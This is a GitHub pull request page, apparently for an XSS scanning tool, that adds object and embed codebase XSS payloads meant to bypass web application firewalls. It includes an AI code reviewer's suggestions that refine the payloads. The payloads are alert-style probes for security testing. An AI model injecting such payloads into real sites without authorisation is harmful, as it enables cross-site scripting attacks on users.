-
-
Notifications
You must be signed in to change notification settings - Fork 504
Add new object and embed codebase XSS payloads for bypasses #772
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Summary of Changes
Hello @hahwul, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!
This pull request enhances the tool's XSS testing capabilities by expanding its payload database. It introduces new techniques that utilize the codebase attribute in HTML <object> and <embed> elements, aiming to improve the detection of Cross-Site Scripting vulnerabilities, particularly those designed to bypass Web Application Firewalls.
Highlights
- XSS Payloads: Added new XSS payloads leveraging the
codebaseattribute within<object>and<embed>HTML tags to both the WAF bypass and common payload lists. These additions aim to improve the detection of XSS vulnerabilities that utilize these specific HTML attributes for execution.
Using Gemini Code Assist
The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.
Invoking Gemini
You can request assistance from Gemini at any point in your pull request via creating an issue comment (i.e. comment on the pull request page) using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands.
| Feature | Command | Description |
|---|---|---|
| Code Review | /gemini review |
Performs a code review for the current pull request in its current state. |
| Pull Request Summary | /gemini summary |
Provides a summary of the current pull request in its current state. |
| Comment | @gemini-code-assist | Responds in comments when explicitly tagged, both in issue comments and review comments. |
| Help | /gemini help |
Displays a list of available commands. |
Customization
To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.
Limitations & Feedback
Gemini Code Assist is currently in preview and may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments to provide feedback.
You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.
Footnotes
-
Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution. ↩
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Code Review
This pull request adds new XSS payloads for <object> and <embed> tags using the codebase attribute to bypass WAFs. The changes are good, but I have a few suggestions to improve the correctness and consistency of the new payloads. Specifically, I'm suggesting adding missing closing tags and ensuring javascript: URIs are properly terminated.
| "<object data=javascript:alert(1)></object>", | ||
| "<object/data=javascript:alert(1)></object>", | ||
| "<object data=data:text/html,<script>alert(1)</script>></object>", | ||
| "<object data=# codebase=javascript:alert(1)//>", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The <object> tag is not a void element and should have a closing tag </object>. While some browsers might execute this payload without it, it's best practice to include it for correctness and for consistency with other <object> payloads in this list.
| "<object data=# codebase=javascript:alert(1)//>", | |
| "<object data=# codebase=javascript:alert(1)//></object>", |
| "<embed src=javascript:alert(1)></embed>", | ||
| "<embed/src=javascript:alert(1)></embed>", | ||
| "<embed src=data:text/html,<script>alert(1)</script>></embed>", | ||
| "<embed src=# codebase=javascript:alert(1)//>", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For consistency with other <embed> payloads in this function, consider adding a closing </embed> tag. Although <embed> is a void element in HTML5, other payloads for this tag in the list include a closing tag.
| "<embed src=# codebase=javascript:alert(1)//>", | |
| "<embed src=# codebase=javascript:alert(1)//></embed>", |
| "><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", | ||
| "'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For robustness, it's good practice to terminate javascript: URIs with // to comment out any subsequent characters that might be appended by the browser or application logic. This would also make it consistent with other similar codebase payloads in this file (e.g., lines 609-610) which include the comment slashes.
| "><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", | |
| "'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", | |
| "><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></object>", | |
| "'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></object>", |
| "><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", | ||
| "'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For robustness, it's good practice to terminate javascript: URIs with // to comment out any subsequent characters that might be appended by the browser or application logic. This would also make it consistent with other similar codebase payloads in this file (e.g., lines 611-612) which include the comment slashes.
| "><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", | |
| "'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", | |
| "><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></embed>", | |
| "'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></embed>", |
No description provided.